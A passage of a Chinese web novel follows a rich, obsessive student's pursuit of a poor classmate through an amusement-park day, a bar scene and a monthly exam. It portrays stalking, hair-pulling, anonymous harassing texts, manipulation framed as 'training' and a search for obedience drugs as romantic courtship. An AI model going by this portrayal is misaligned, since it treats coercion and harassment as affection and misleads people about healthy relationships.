“你已经比其他人幸运很多了。”李华说：“只是需要比别人更早一点长大而已。”
郑源看着他，专注极了，看的李华害怕，他忍不住后退一步，那目光几乎把他锁在这里，郑源无声地笑了一下，“那个。”
他指指身后的水箱，“你想要几个？”
李华：“……”
李华无语地走到沙发边，自然地坐下了，等他反应过来，自己也愣了。郑源坐在他旁边，双手在脑后交叉，仰头看着天花板，心情一好，坏点子就出现了。
“你想让我回去上课？”
这话有歧义，李华纠正他：“是老师。”
郑源： “……”
郑源扭头看他：“也不是不行。”
这就完成任务了？
李华还没来得及高兴，发出郑源这次怎么这么好说话的感叹，就又听他说：“你得陪我玩几天。”
李华看着他，非常笃定：“不可能。”
不回去就不回去，跟他又没关系。
郑源抿了下唇，知道这时候威胁他不行，只会起反作用，想起郑玉安教他的，人跟狗一样，得收放自如，训导有方，严厉以后就得夸奖，一手拿鞭子，一手就要拿骨头，适当的示好，才不会打击对方的自尊心，要循序渐进的打破对方的底线，以退为进的让对方感受到被尊重，甚至是感激涕零。
“你陪陪我吧。”郑源嘴角向下一撇，帅气的眉眼耸拉下来，恶虎扑食似的在李华瞪大的眼中抱住他的腰，把脸埋在他的校服里，深深地吸了几口，感叹着这腰可真细，身上又真软啊，一摸就爱不释手。
“你放开我！”李华推搡着他的肩膀，跟推坐山似的，脸都气红了，郑源不仅纹丝不动，他身上的淡香还直往李华鼻孔里钻，闻的他脑袋几乎晕厥，不仅如此，他一低头，就能看到郑源的后颈，怎会有人连这里的线条都这么好看的。
“你不同意我不松手！”郑源也难受，他只想跟玩手办似的对他上下其手：“就一天。”
李华嗜学如命，时间长了跟要他的命没区别。
“就一天。”郑源仰头看他，眉眼英俊，语气委屈，把无赖作风耍到底。
李华实在推不动他，累的喘息，莫名想到以前家里养了条大狼狗，看家护院的土狗，他还小，狗冲过来把他扑倒，对他一阵拱头□□，让妈妈看到大叫着把狗赶走，把他扶起来，擦他满是口水的脸。
好像。说不出哪里像，就是好像。
李华有些心虚地别过脸，怕郑源发现他把他比成狗，说：“就一天。”
郑源嗖的坐起来，开心地耶了一声，后又警惕提醒：“今天不算，明天一天。”
李华：“……”
郑源：“耶！”
25. 25
兴许是李华的到来真的起了作用。郑源的脾气好得多。他得到李华的答复后主动把他送回了学校，没有耽误他当天晚上的课。也主动跟老师说后天就会回学校。让老师看李华的目光都透了一些意味深长。
第二天一大早，李华就被人从被子里拽出来了。拽他的是王玉代，王玉代盯着他说：“郑源的司机在校门口等你。”
李华睡眼惺忪，看到寝室里就他们俩，窗外阳光照射，一时惊起：“几点了？！”
“九点。”王玉代沉声，“郑源给你请过假了，你今天不用上课。但他联系不上你，让我过来喊你。”
李华抿抿唇，从床上下来。王玉代看着他廉价的条纹睡衣，小的有些不合身，露着脚腕脚脖子，说：“那天……”
他忍不住想问李华有没有跟郑源说什么，又不知道怎么开口，最关键的是怕不打自招。可是看郑源还能面色不变的和自己联系，又觉得李华应该什么都没跟他说，可是为什么帮他隐瞒……他想不明白，憋到心里琢磨，都快想出病了。
难道是因为李华同样讨厌郑源？所以两个人其实是一跳绳上的蚂蚱？思及此，王玉代觉得非常有道理，毕竟郑源之前老欺负他，可是自己也欺负他啊……
李华看着他欲言又止的模样什么都没说，洗漱完爬上床换衣裳，错开他拉开门走了出去。
王玉代在身后跟着他。
李华停了一下，扭头看他：“你不去上课吗？”
王玉代抿了下唇，“你……”
他不说了。
李华顺着他的目光看，看到郑源穿着藏青色的外套，牛仔裤，双手插兜，靠着铮光瓦亮的黑车，皱着眉，对于他俩的磨磨唧唧很不耐，似笑非笑地：“聊什么呢。”
他的视线略过李华看着王玉代，目光黑沉沉的。
王玉代转身离开了。李华朝他走过去。
校门拉开，郑源主动给他开车门，李华坐了进去。
“去哪儿？”李华问，这不是回别墅的路。
“游乐园。”郑源说，看着手机飞速打着字。又接了电话：“滚蛋。”
李华听到郑源说：“别来烦我。”
李华看着他，郑源察觉到他的眼神，咳嗽了一声，竟是收敛了一点儿：“回头再说。”
他挂了电话，跟李华说：“几个朋友非要来找我。”
李华点点头，不知道跟自己有什么关系。
郑源的交际圈，好友并不在学校，学校于他而言就像每天都要来打卡、被迫融入的团体。在没转到这里之前，他是跟几个公子哥一起上的私塾。私塾，这年头听起来像是有些可笑，透露着古板的味道，但的确如此，应试教育是他不得不为了社会身份而参加的必要，为的只是光鲜亮丽的装饰，他真正所学、所了解的东西都是透过学校外，几个有权有势的家族培养继承人时摸索出的自己的教育系统和模式。
车开到其他区，映入眼帘的是巨大的玩偶雕像，周边花花绿绿，绚丽缤纷的花草和装饰映着这块儿娱乐项目的所属范围——青阳游乐场。号称小迪士尼，是郑源他小叔郑玉安还在这儿任职时拉的经济项目，一年时间让原本贫穷倒数的开发区一朝挤进省市经济项目的前三名，不仅大大带动地方经济，更是创了近千名就业岗位，联动着周边县区的美食、娱乐、酒店、出行等等都得到政府的有效扶持和帮助，甚至于第二年专门将游乐园门前的公路连接到快速路，直通高速，让外地游客一进入辖区，就能看到灯火辉煌的游乐场。
李华缓慢地眨眼，忍不住降下车窗，仰头看着那巨大的玩偶雕像，是只狐狸，它顶着刺眼的太阳，手拿宝剑，却弯腰欢迎来到这里的游客。车驶进地下停车场，深蓝色的墙壁上画着巨大的鲸鱼与各种海洋动物，生动形象，惟妙惟肖，仿佛下一秒就会看到尖齿鲨快速游来。
李华被震撼住了。他的眼睛瞪的大大的，亮晶晶的。郑源懒洋洋地看着他。他来过这里无数次，更不用门票，有专门的工作人员领着他们游玩，但郑源不需要，他对这里轻车熟路，前几年刚开始选址盖的时候郑玉安就带他来参观过，和项目负责人、中建局、老总等等的一起吃过饭，在他还小的时候，他就像是郑玉安的腿部挂件，在许多人面前都刷了熟脸。果不其然，车刚停好没多久，就有穿着黑色制服的领导者朝他们走来，是位画着精致妆容的女士，贴心地拿着太阳伞和两瓶水，见到他们笑的非常温柔：“郑少爷。”
郑源接过她手里的遮阳伞，李华嫩白的小脸跟鸡蛋似的，别晒黑了。又拿过她手里的水，怕他渴了。但拒绝了她陪玩的行程。女士跟随他们出了地下车库，给了他们一个对讲机，还配备了游乐园的专属代步车，司机穿着白衬衫黑西裤，笑的很标准。这是怕少爷逛累了。
郑源遣走了他们，就剩他和李华。司机倒是坐上了代步车，离他们远远的，跟游乐园开代步车的司机抽着烟，有一搭没一搭地聊了起来。
虽是工作日，人却不算少。郑源慢了半步跟着他，看李华像个好奇的仓鼠，这儿看看，那儿看看，就这心情也是好的。不多时他们来到了小卖部，李华看着小卖部里拥有着白雪公主形状的棉花糖，感受到了美食与艺术相结合的奇妙。郑源以为他想吃，买了个心形的白色棉花糖塞到他手里。李华皱眉看着，在他带有压迫感的注视下扔又扔不掉，只能慢慢咬一点含在嘴里。
好甜。甜的发腻。
转个弯他们又来到无数人惊叫着的跳楼机。李华目不转睛地看着，看着他们逐渐升高，仿佛触碰到云端，又猛地坠下，巨大的冲击力下让不远处的他都发丝飞扬，心跟着跳了跳。
“想玩？”郑源问。他有些惊讶，李华胆子这么小，竟然敢玩这个。但是看他迅速摇头，警惕的模样，又觉得玩一下也挺好，如果能看到他被吓哭的模样，好像也挺爽。
李华要走，郑源拉着他。不由分说地赶上了下一趟。早就接收到命令的工作人员来来回回给他们检查了三遍安全措施。李华很紧张，他不由自主地扣着安全带，目光停留在不远处看着他们的司机的手上，那里有他刚刚拿着的棉花糖，像一朵白云。机器轰鸣，他们逐渐升高，李华的心也随着失重感的加强要蹦出胸腔，他被迫远离地面，像按了缩小键，看到以前从未看到过的景象，那种俯瞰整个游乐园，所有高大树木，宏伟建筑，高楼大厦的垂视，让他下意识将手放在一旁，指尖抖了抖，被人抓住了。他扭头看郑源，郑源身后是大朵的云彩，像他的棉花糖，随后突然下降，李华“啊”的尖叫，两条细长的腿不受控的随风上扬，耳边传来郑源爽朗的笑声，李华一直“啊”到后半部分缓慢下降，才闭上干涸的口腔。
他脱力地背靠座椅，像是要从椅子上滑到地上，安全带紧紧地锢着他，他的思绪缓过来点，下意识抬手，却感受到两个人十指相扣。他抬眼看郑源，郑源还是笑着，根本对他造不成影响，不仅笑，还是很温柔甚至很包容的笑。李华别开脸，工作人员要给他们解开纽锁，两个人的手便松开了。
李华试着站起身，腿一软，郑源接着他，把他往自己身上带。他的腿软了，脚也软了，走在地上跟踩棉花似的，郑源半抱着他到一旁休息，李华的心还后知后觉地跳动
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的厉害。
“感觉怎么样。”郑源问他，蹲在他身边给他揉腿，仰脸看他，递水给他。
“我要飞起来了。”李华艰难地说，接过他递来的水咕嘟咕嘟喝了，缓过些劲。
李华的腿细长，没多少肉，却是软的。郑源按摩着他的小腿，隔着裤子，感受到他的体温和跳动的脉搏。
李华闭闭眼，深吸一口气，缓了过来，下意识收回腿。郑源的手一空，站起身，朝他伸手，李华看看他的手，撑着身体站起来，郑源放下手，说：“饿不饿。”
饿。李华的肚子咕咕叫，尽管在车上已经吃了郑源带给他的包子，刺激运动依旧让他肾上腺素飙升，加快血液流动，现在感到非常饥渴。郑源便领着他去游乐园里最大的动物餐厅吃饭。里面各式各样的快餐，一旁还养着小体积动物，有不少孩子挤在那里逗他们玩。
郑源点了两份餐，李华看到单一碗米饭就二十一碗，瞠目结舌，这也太贵了。两个人不奢侈的算下来，人均一两百。
“不该这样。”他忍不住评价道，无非是知道大家进来了就不能出去，出去了就进不来了，所以趁机挣钱。郑源看他一眼，认同：“确实。”李华惊讶地看他一眼。郑源把碗里的肉夹给他，没看他：“吃，吃饱了才有体力玩。”
游乐园的动物餐厅是分包出去的，餐厅负责人租赁游乐园的土地，每年交租金，包括餐厅里的动物，也是租的，所以饭食价格昂贵，都要从游客身上回本。
两个人慢条斯理的吃了饭，李华到最后实在是吃不下了，又觉得浪费，忍不住埋怨：“你别夹给我，我吃不完。”
郑源说：“这才多少就吃不完。”
李华吃饭不是狼吞吐咽，是一小点一小点地吃，侵占地盘似的，一部分挖空了，另一部分纹丝不动。郑源看他真的撑了，又皱着眉强吃，忍不住夺过他的勺子，“我吃。”
他不嫌弃是李华剩下的，三下五除二快速又优雅的将饭吃完了。连吃饭两个人都有很大的差别，兴许是郑源口腔大，舌头更有劲，他的一口饭顶李华两三口，嚼的时候却不会发出声响，在两侧快速嚼碎后咽下，喉结一滚，便开始了第二口。
李华喝着水，谁都没有说话。
出了餐厅，两个人朝郁郁葱葱的大路走去，却被正在手编气球的小丑拦下，他背后背了个抽奖框，夸张的跳过来要和他们玩游戏。他兴奋地对李华手舞足蹈，郑源抱着膀子看戏，李华没办法，被迫和他玩起石头剪刀布的游戏。
第一次，他赢了，小丑给他了一个向日葵气球。
第二次，他输了，小丑伸手找他要他手上的水。
第三次，他赢了，小丑背对他，让他把手伸进去抽奖。
李华的手气向来不太好，手微微蜷缩着不太想，看了眼郑源，眼里有一丝他自己都没察觉到的求助。郑源勾唇笑笑，靠近他，“抽吧，没事儿。”
好吧。李华将手伸进去很长时间，慎重地摸个球，拿出来看，小丑替他打开，掉出来一张纸，上面写：家居用品一律三折，全市通用。
李华瞪大眼，震惊地看着郑源。郑源也皱了下眉，眼神沉甸甸地看着他，语气中有不自觉的讶异和赞叹：“你这手气不是挺好的。”
李华笑了起来，下意识将纸条护在胸膛，但是想到了什么，又慢慢收了笑，将纸条工整的折好，放在裤兜里。
告别小丑，他们前往下一个目的地。
看着两人离去的背影，司机下了代步车，走到小丑面前抽了几百块钱给他，拿过他手里的水，重新坐上代步车，抽着烟跟着。
26. 26
白天在游乐园玩时李华被吸引走了大部分的注意力，惊险刺激又新奇的体验充斥着他，让他无暇顾及其他，直到傍晚日落西山，他从游乐园出来，回去的路上，看到一所学校正在放学，不少穿着校服的学生牵着父母的手走出来，他的负罪感和愧疚突然成倍往上翻涌，一时恨不得扇自己几巴掌。纵然今天很开心，让他忘乎所以的沉浸在新环境里就差忘了自己是李华，但是他竟然敢这么白白浪费一整天的时间，什么都没干，没听课，没写作业，没复习，更没预习，他竟然敢，竟然敢这么做。他的情绪肉眼可见的低落，微微上扬的嘴角也迅速耸拉下来，看的郑源一阵茫然。
他怎么了？
他想了半天，难道是不想离开这儿？
也是，毕竟他第一次来游乐园。
他说：“别垂头丧气的，有时间还带你来。”
李华却说：“不来了。”
“以后都不来了。”
郑源莫名其妙：“为什么？不是挺开心的吗？”
“不开心，一点都不开心。”李华忍不住愤恨道：“都怪你，要不是你非拉我来，我肯定在上课。”
“我操。”郑源气笑了，“还有你这样的，你白眼儿狼啊？谁刚刚呲着大牙喂羊驼喂的都不想走？谁盯着孔雀开屏一直看？谁打枪恨不得把人家的气球都打完？你现在跟我说这个，你哪儿来的脸？”
“你。”李华红着脸说不出话，指尖掐进肉里，郑源说的是实话，都怪他自己，一点定力都没有，他就该狠狠的拒绝他，哪怕再遭来他的毒打。李华不再说话，紧紧抿着唇，平复波涛汹涌的心情，嘴角抽动着强忍着哭意。
搞的郑源心情也挺差：“不是你有必要摆出这副表情吗？是你恶人先告状，我也没说你什么吧？”
李华不说话。
“莫名其妙。”郑源气的甩下一句话，等车停稳后先走了，让司机把李华送回学校。
中年男人看着后座瘦削男生惆怅难过的模样，没忍住温和地问道：“不开心吗？”
李华一愣，看向他，没想到他会主动跟自己搭话，想礼貌的笑一下，却没笑出来，很轻很小声的嗯了一声。
他的年龄和自己的儿子差不多大。司机想，父爱一时泛滥，友好地介绍道：“我姓胡，你喊我老胡就行。”
“胡叔叔好。”李华说。
胡建国笑笑，很健谈地跟他有一搭没一搭地唠：“我儿子跟你和郑少爷差不多大，不过没跟你们一个学校，他学习不好，吊车尾，来这学校也是白搭。”
李华笑笑，看起来没那么郁闷了，但也是强颜欢笑。
他们见过的次数不算少，真正正儿八经的接触却几乎没有，胡建国说：“小小年纪，别总是忧愁，有什么烦心事儿就说，不要憋到心里，现在人们最该注重的就是青少年的心理健康……”
车到了，李华下了车，看着胡建国的目光，很真诚真挚地说了声：“谢谢胡叔叔。”
胡建国诶诶地应着，看他进校园。
他跟着郑源的时间不算短，从没听过他一句谢谢。
郑源的郁闷却更强烈。他根本不知道李华每天都在想什么，为什么上一秒开开心心，下一秒就浑身带刺，气的他牙痒痒，恨不得把他啃了一顿才解气。空旷的客厅，寂静的卧室，没有人坐的沙发，那种古怪的真空感再次卷土重来，燥的他转身离开。
老郑家的人一个比一个忙，忙到已经年迈的爷爷奶奶也无精力照顾他，把他推给家族里年纪尚轻的郑玉安管辖。老郑家上数三代干什么的都有，在那个五块钱都能买命的年代，他们家祖宗辈里出来个跟将军打过仗的一等功，后家族开枝散叶，人丁兴旺，参军的参军，从政的从政，经商的经商，三百六十行，士农工商，家族里的人够多，什么都沾点，其中郑源的爷爷，就是家里经商的，自己盘了个矿场、后又开凿黄金、制造银器，一时风靡全城，把郑家牌子打的名头更响。他是家里的幺弟，深受大哥、二哥、大姐、二姐的喜爱，背负的责任和义务更少，压力也更小，但因为觉得自己是商人，没什么文化，就经人介绍，娶了当时名头响当当，家族背景同样宏伟广阔的最美教师，郑源的奶奶。
两个人感情非常好，从没有为任何事情烦恼过，因此生了许多娃娃，每天都在幸福开心的过。
其中就有郑源的父亲，他在家排行老三，而郑玉安，排行老四。
郑玉安算是郑源爷爷奶奶的老来得子，人有心思又争气，唯一不好的一点就是，心太野，不好管。但是两位长辈也没那闲工夫管，就任他自己折腾，让他照顾郑源，也纯粹是因为他更年轻，精力更旺盛，他的那些个大哥、二哥，自己家的几个小辈每天都折腾来折腾去，根本分不出闲心管胞弟的孩子。
只是连郑玉安都忙的腾不出时间照顾他，百分之百的事都让他自己解决，实在解决不了或者闹大了，再打通电话。
因此他们一个月只抽空见一次，打打球，聊聊最近，就已经是亲情这根弦上的极限了。
在郑玉安看来，每分钱每丝精力甚至是每个眼神，都要在有限的时间里付出后能获得同等的回报，因此，他对于郑源对一个男同学的上心不觉得有异议，反而很支持，因为人都是空虚的，但有了目标的人就会变成充满欲望的人，而不是浑浑噩噩度日子的人，郑源在他身上投入的任何东西，都是他应该在郑源心情不好时回馈出来的情绪价值，同等，郑源有了慰藉，他就能更省心，更安心，更轻松。
所以，当他听到管家汇报说少爷去找曾经一起上私塾的好友去酒吧的时候，翻文件的手停了。
那群上不得台面的小屁孩儿，郑玉安非常看不上他们，不仅是他们，还有他们背后的家族，全是做生意的，每一个都透露着商人精明的嘴脸，不仅是大人，经常受他们熏陶、沉浸在相同环境里的小屁孩儿们也是那副德行，让人看了发笑。这也是为什么家里长辈正让郑源上私塾上的好好的，郑玉安非要给他转学到社会学校里的原因。
那都是群什么东西。
郑玉安摆摆手，管家退了下去。
人
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有了牵挂，就会有贪嗔痴念恨，这是郑源必经的，不知道他走到了哪一步，但是郑玉安不准备干涉。
“源哥！这儿！”
曾经的好友三五成群的聚在一起，郑源看到他们的眉眼笑了起来，走过去刚坐着，他们便勾肩搭背地凑过来问他最近怎么样，新学校好不好玩，有没有遇到什么有趣的人和事儿。
他们不是从没上过学，而是上过学以后发觉学校讲的跟他们将来所要面对的根本对不上号。
上学，读书，是一无所有的穷人才需要死扒着的渠道。
而他们要学的，是无数经验积累下对世界、政策、货币、贸易、经济甚至是文化、环保等诸多宏观微观的精准观察，以便不被时代淘汰，能更早地融入、渗透人们的生活圈，提前站在风口浪尖，掌握持续积累财富，维持家族生存的必要砝码。
一代人有一代人的更迭，一代人有一代人的掌控。
郑源没答话，看了一圈，答非所问：“新开的。”
这是一家新开的酒吧，整个二楼由单向玻璃圈层，二楼的人能看到一楼，一楼的人看不到二楼。
挺有意思。
“对。听说老板跟我们一样大。”
一人问：“真的假的。”
一人答：“当然是真的。”
另一人说：“我也听说了，这不是那谁开的吗。”
他们说了个人名，互相看看，郑源莫名其妙，“说什么呢。”
“这酒吧老板姓秦。”那人跟郑源说：“你的哪个亲戚不是得罪过他，还被砍下了个手指头。”
郑源了然了。
他们说的是他大伯，他爸的大哥，也是郑玉安的大哥，郑义强，家里排行老大，自己开了几家公司，干新型环保和医疗产业，有一个非常大的缺点，就是好色。
非常好色。
极其好色。
据不完全统计，从郑义强开始往家里带人开始，直到现在，短短几十年，处过的女人比郑源吃过的饭还多，还因此闹出了不少笑话和丑事儿，就因为他好起色来什么都不顾，天地都是他说了算，其中得罪秦家以至于被砍下一根手指头，就是其中一件。
“怎么来这儿了。”郑源问，有些烦。
“来了以后我们才知道的。”一人说，“诶，那是不是秦利行他儿子。”
郑源顺着他手指的目光看过去，只见一楼下有个穿校服背对他们的男生，斜挎着背包，懒洋洋的，听着酒吧经理喋喋不休的汇报，直接用手捏了路过服务生端着果盘里的苹果，在酒吧经理身上蹭了蹭，潇洒的挥挥手离开了。
有人说：“就是他，我见过他一次，长的还挺帅的。”
郑源瞳孔微缩，表情不太好看。
“怎么了源哥？”有人问他，“你认识他？”
郑源摇头，“他叫什么名字？”
他穿着和他们一样的校服，他们是一个学校。
“秦湛。”有人介绍着说，“秦利行是他爸。”
□□头子的儿子。
27. 27
在郑源的观念中，找到快乐是头等大事。因为他实在是太容易不快乐，也太容易被占用所有的闲暇时间。比如当初上私塾的时候，他从三岁开始，一直上到转学，从没有放过一天假，他一直以为星期六天跟星期一、五没什么区别，直到他上了正儿八经的学校，才知道噢，原来学生还有寒暑假。
还有周六天。
——为什么我没有放过假？
他曾经有这样的疑问，得到的回答是：假期没有意义。
所以时间在他这里淡薄，工作日的概念同样在他这里淡薄，所以他不清楚在该上课的时候没上课能怎么，能宇宙爆炸？
“源哥。”他的好友们疑惑，“你说的李华，男的女的？”
“男的啊。”郑源不解，“干什么？”
对方讪讪地笑，没说话。
莫名其妙。
郑源搅着蓝色夏威夷，这是这里的一款鸡尾酒，度数不高，后味偏甜，喝一口让郑源呕半天，但颜色好看，让他心里舒坦，夏威夷，夏天，海边，有时间带李华去看海……“操！”他猛踹桌子腿，玻璃瓶碰的叮叮铃铃。
“不可理喻。”郑源瞪着眼，“简直不可理喻、胡作非为、为所欲为……”
他十分的生气。这种生气跟以往的烦躁还不一样，这种给了甜头又猛扇几巴掌的落差仿佛把他当狗耍：他因为李华的好脸色而开心，但李华玩弄他似的说甩脸就甩脸。连一句理由都没有。
郑源想不明白，他下午不是挺开心的吗？为什么啊？自己到底又哪儿惹他了？
他想不明白，干脆不想，直接下定义：就是惯的，敬酒不吃吃罚酒，对他不能有好脸色。
“男同学怎么能这么刺激你。”一人道：“你要不说他是男的，我还以为你谈恋爱，跟对象闹别扭了！”
郑源一顿，搅着酒的动作停了，一动不动地看着他，嘴角不受控的抽了一下：“去你妈的。”
他冷笑一声，扭头垂眸，又说：“傻逼吧你，我烦他烦得要死，上哪儿……操。”他解释不清，越描越黑，抓起外套站起身，“我回家了，你们玩吧。”
他走的快，让人无法拦。
剩下的人你看看我，我看看你，都耸肩无言。
夜已经深了，郑源站在路灯下有些冷，他穿上了外套，搓了搓手，寂静的街上没什么人，隐约能听到身后的音乐，眼前有一对儿晚归的情侣正手牵着手说笑，郑源盯着他们牵着的手上，移开目光，想干点什么转移注意力，抽烟？没有。他搓搓指尖，手指头有些发麻，心里有些慌，不愿意去想，又莫名有些兴奋，导致他下意识咬着后槽牙，心怦怦地，夜风太好闻了，他忍不住深吸两下，嘴角噙着一丝笑，简直精神抖擞。
胡建国很快来接他，是睡一半儿被电话打醒的状态，还有些迷茫。不远处看到自家少爷，跟发着光似的，在酒吧中彩票了？他理解不了，专心致志开车，却能察觉到身后探寻的目光。胡建国下意识透过镜子和他对视，看到他耐人寻味的眼神。
郑源：“有意思。”
胡建国：“？”
车停下，郑源摔门就走，进家，他一骨碌脱的干净，快速冲完澡跳到被子里缩着，查手机。
——喜欢一个人是什么样的？
——喜欢是种什么感觉？
——怎么让对方喜欢自己？
——怎么改变对方的想法？
——哪里卖让别人对自己言听计从的药？
第二天一早，他就早早地收拾好去学校，眼底的红血丝映照着他昨晚的成果，他几乎只睡了一个小时，一半时间用来挥霍，一半时间查些不可告人的。
一进教室，他的目光就像雷达似的扫射一圈，视线堪比X光线，把心虚的王玉代扫射的全身是孔。
那他妈什么眼神……王玉代不敢直视，简直是一头眼冒绿光的恶狼。
随即，郑源朝他走过来。
王玉代闭着眼，内心祈求菩萨保佑，在郑源抬手的瞬间，他下意识抱住头。郑源皱眉：“你头疼？”
王玉代：“啊？”
他仰头看他，两个人大眼瞪小眼，王玉代张张嘴又闭上，郑源懒得听他废话，单刀直入道：“李华呢？”
“老师叫他。”
郑源转身走了。
没多久李华回来了，手上抱着今天要考的模拟卷，也是他们的第一次月考，还是那张脸，那发型，那一成不变的校服，就是让郑源抱着膀子好好地欣赏了一下：李华走路的时候是不抬头的，视线垂下，睫毛就垂下，额前的发丝很细，但头发很多，遮挡着一些前额，毛茸茸的乖得很，太瘦了，露着个下巴，不开心和尴尬时会抿着那张嘴，嘴唇又很薄，轻轻一抿就红了，生气时那道红就顺着脖子染上耳朵，耳尖和耳垂，都是软的……
郑源舔舔唇，接过前桌给的卷子。对方看着他，他被打扰，不耐道：“看什么？”
前桌说：“往后递。”
郑源拿起卷子往后一撂。
“你不要？”同桌莫名。
郑源眼都不眨地抢过她的。
同桌：“……”
实在是一道压迫感和欲望太重的眼神，李华下意识皱眉，看去，郑源眉毛一挑，笑了笑。
李华：“……”
莫名其妙，让他抖了一下。
他们的第一次月考，李华还记得和郑源的赌约，只要他能考过郑源，郑源就不能再来打扰他，但如果他没考过……李华暗暗给自己打气，成败在此一举，千万不能分心。
他写的认真，郑源托着腮帮子转着笔，看他看的也认真。
老师站在他身边，看着他忘乎所以的模样，“看什么呢？”
郑源：“别烦。”
老师：“……？”
大家都看着他，郑源皱了下眉，扭头说：“在思考。”
他懒洋洋地低头写下自己的名字，明明是颓废的慵懒模样，字却练的宛如游龙，潇洒漂亮。
“好好写题。”老师提醒他：“别发呆。”
郑源的视线上瞟，注意力根本无法集中，谁有那功夫给他写题，他恨不得趴李华背上。
让他想起以前看动物世界，有种猴子，叫膏药猴，就会一直依附在一个动物身上，直到对方死去，这种不死不休的纠缠让他很爽，他就
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希望李华能一直缠着他，一刻都离不开他，如果李华做不到，就让他来做到。
时间一到，他就找李华去了，连卷子都没交，李华不知道他来干什么，最后检查卷子上的名字，交到讲台上，就听到后面一阵惊呼。他转头看，是郑源的同桌替他交，结果发现他就写了个名字，其余什么都没写。
“你交了个白卷？”李华震惊，错愕地看着他，郑源啊了一声，眼睛眨都不眨：“怎么。”重要么？不重要。看李华重要。李华说：“那岂不是我赢了？！”他瞬间笑起来，让郑源眼都亮了，李华直直地看着他说：“你以后都不能来找我了。”郑源：“？为什么？”
“打的赌啊。”李华心情愉悦，尾音都上扬，警惕道：“你该不会耍赖吧？那天在车上你说好的，如果第一次月考我赢了，你再也不能理我了……”
郑源还是笑着的，却笑的比不笑还吓人。他说：“是么。”
李华察觉到不对了。
他的笑收了，一种莫名的恐惧又卷土重来了。他下意识避开郑源的目光，坐在位置上收拾东西，看起来很忙。郑源的手伸进他的头发，扣在后脑，李华想推开他，郑源的手一抓，李华就痛的闷哼一声，头皮火辣辣的发麻，他双手抓着郑源的手腕挣扎，郑源自上而下地观察他，目光停留在他还在发育的喉结上，啧了一声，很烦地说，“我都不知道打你哪儿好了。”
现在跟以前不一样了，现在打他想掂量掂量了。
他松开手，指缝里有李华的头发，他盯着看了会儿，收起来了。李华疼的揉着脑袋，感到头被人力道不重但也不轻地揉了一把，那股压迫感就消失了，郑源离开了。
郑源离开后没去其他地方，去了化学实验室，用显微镜去观察李华的头发，看的仔仔细细，还笑了，最后用袋子装起来收好了。
就像一处刚发现还未开发的宝藏，李华所有的一切对他而言都是新奇的。他像观察从未见过的庞然大物、微生物一样琢磨他，仿佛弄懂组成他的细胞结构就能搞懂他这个人。
晚上，李华很快跑出教室。他怕再慢一步就被郑源抓到，不知道是不是他的错觉，他总觉得这次郑源更变本加厉，让他害怕。看到教室一幕的王玉代离他不近不远地跟着，两个人先后进了寝室，李华长出一口气，随后赶时间似的迅速洗漱上床睡觉，一丁点空余时间都不留，王玉代几次欲言又止都被打断。
突然，压在枕头下的老年机震动了一下。李华欣喜，可能是爸爸妈妈。他眯着眼拿出来看，是一条陌生短信。
-睡得着吗？
李华皱眉。
-请问你是哪位？
对方过了一会儿才回他。
-我是不是真病了？
李华坐起来，谁啊到底？
像是知道他心里所想，对方又发。
-你不知道我挺好的。
他说。
-就这么聊吧。
李华无语。
-抱歉，我——
他的字还没打完，对方又来条短信。
-我有点想抱你。
他说。
-错了，是很想。
28. 29
躲不是办法，只会让对方变本加厉。李华看着课本发呆。他心里不是没猜测，但是他要证据。月考成绩很快下来，李华不出意外的班级第一，郑源也因交了白卷被老师叫走。王玉代费劲地收拾着课本，旁边站了个人，他抬头看，李华安静地看着他：“你之前说的话还算数吗？”
王玉代一顿：“什么……”
“你会帮我。”李华抿了下唇，蹲下来和他平视：“还算数吧？”
“我……”
有人回来，李华回到了自己的位置上。
虽然郑源交了白卷，但老师并没有怎么怪他。上午过的还算平静。中午大家吃完饭都回到自己的寝室午睡了一会儿，才陆续回到教室上课。下午第一节是物理，第二节是数学，课上到一半，离讲桌旁边最近的李华突然出了事儿——从他抽屉里响起手机铃声。他握着笔的手顿了一秒，看向老师，老师吃惊后非常愤怒地朝他伸手，他抿抿唇，众目睽睽之下将手机递到老师手里，上交。
“手机交给你们班主任了，你下课来趟办公室。”
老师将手机关机，冷淡地说，又说：“一时的月考成绩代表不了什么，只要开始浮躁，退步很快！”
底下窃窃私语，老师拍讲桌让其安静，一时鸦雀无声，李华勾着头写题，面无表情。
郑源微微皱眉。
坐在他们身后的王玉代轻轻呼吸，将手机关机，塞进书包最里面。
下课，李华去了办公室。郑源抬脚跟上，王玉代迅速去翻找郑源的座位，找到一部智能机，他连藏都懒得藏，就在书包最表层。王玉代不知道密码，无法解锁，只能看到手机屏幕是一个监狱似的巨大的黑色鸟笼，里面什么都没有。他一咬牙，将手机偷走，路过李华的位置时，放进了他的书包。
数学老师对李华的表现很失望，将手机给了班主任，班主任叹着气问他为什么上课玩手机，李华什么都没说，将手机拿过来开机，让班主任看骚扰短信。
“可以报警吗，老师。”李华看着她：“我知道这是谁发的。”
看着那不堪入目的短信内容，李华冷静的神情，老师的面色一瞬间十分难堪。一种不言而喻的猜想围绕心头，她皮笑肉不笑地尴尬着，拿过他的手机翻看。
“我还拉黑了一个电话号码，他们是一个人。”李华说。
老师翻出来他拉黑的电话号码，闭了闭眼，将手机还给他，假装看东西似的翻找自己的通讯录。
果然，猜想落到实处，老师头疼的揉眉心。
“这个……”她委婉地说：“报警只会进行批评教育，毕竟年龄在这儿放着，还有一些其他什么东西……”
李华觉得自己进步了，他现在已经能听懂老师的话外之音了，也根本没把希望寄托在这上面，他说：“老师，手机就放在你这里吧，但是如果我想家了可以给我爸妈打电话吗？”
“当然。”老师迅速地说，看到他身后出现的身影，沉下脸，声音扬高：“不要说些乱七八糟的理由，没让你请家长已经够好了，手机没收，回班吧。”
李华一顿，点点头，转身的瞬间看到郑源，错开他离开。
郑源觉得哪儿不对，却说不上来，他走进办公室，班主任看到他喜笑颜开，郑源说：“老师，不能把手机还给他吗？”
老师严肃道：“课堂上玩手机的性质太恶劣了，今天还给他，大家都效仿怎么办？尽管学习成绩不错，但校规就是校规，不能不遵守，也不能网开一面，这都是为学生好。”
郑源点点头，虽然感到有些可惜，但他可以给李华买手机，只不过他不一定收。
回到教室，郑源看到李华趴在桌子上，知道他心情不好，也不想过去触霉头，准备联系管家再给他买部手机，却摸不到自己的手机，他上下翻找，皱着眉搜了整个抽屉，最终确定，丢了。
有人把他的手机偷走了。
他沉默了片刻，笑了。将东西归置整齐，仿佛没发生过。
下午放学，他出了校门。
